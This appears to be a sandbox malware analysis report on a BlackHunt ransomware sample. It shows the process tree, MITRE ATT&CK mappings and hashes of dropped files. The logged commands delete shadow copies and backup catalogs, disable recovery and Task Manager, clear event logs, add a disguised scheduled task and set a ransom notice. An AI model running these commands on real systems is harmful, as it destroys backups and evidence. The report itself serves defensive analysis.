- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe" /F
  2⤵
  PID:2008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2236
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:324
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2944
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:580
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2908
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1776
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1576
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:988
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:832
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2364
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3364
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3388
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3988
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3516
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3492
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3472
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3920
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4048
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4032
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3908
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3948
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4068
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4076
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3656
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4084
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3932
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2832
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1556
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2080
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3140
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe"
  2⤵
  - Deletes itself
  PID:2880
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1524

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1564

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2208

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1536

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\MSOCache\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
5d7c9731415e5266f82acff5a144d808

SHA1
f693545b3865b11bbba2b2847349812c7fd09696

SHA256
258900b0188958180dbf3ef933dcad75f14a5c822bfd5acd2e21b90aed3c5c7d

SHA512
9fcc44fa479eb990bfbefc404d1b8230ce3d9268a251eec2443e826a51211bf8174874172576fc206ddf05d3435603df2fc2609256cfad583e47d95db27f7c5d

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
4735ec5de3e0e07d50b356d76d581cd7

SHA1
f4a25fd94b86283ee4614376856ff516ee22e6eb

SHA256
c52058f94a983a8809ba56508a0711df35afdf0ecbe05e7d1b847f5e31e5fc0f

SHA512
5f65b515ed9304e2966d2cfac9099596428d1b12351e41a61c858a3fbbe310fb8ded42d01401bdce4cc492c40a1d214a7d5a6881f27aa968812942f3f2d324e7

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
7b6ddf6923a01f4a37ddb52c5bf1889b

SHA1
f0c1aa81199ec6c2d454b208adc741093fd09325

SHA256
5d1f5585f5fa464f58bda71e3b2e322a58441b9bb521b4ffd12e01db3523bd65

SHA512
ae4c974934a9ff9a6a396f53ff2c3912e43809bd1dd7a80037f4259750e9548638400ad509413a2036f7707f0a298675e8adecae261d2b9d9a930d2e29317aaf

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads